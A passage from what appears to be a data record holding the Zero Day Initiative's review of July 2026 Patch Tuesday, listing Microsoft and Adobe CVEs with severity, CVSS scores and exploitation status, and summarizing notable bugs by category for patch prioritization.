CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:02:49.576186Z"}, {"uuid": "919c6054-4556-4efd-af32-a113b6c050ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54993", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n 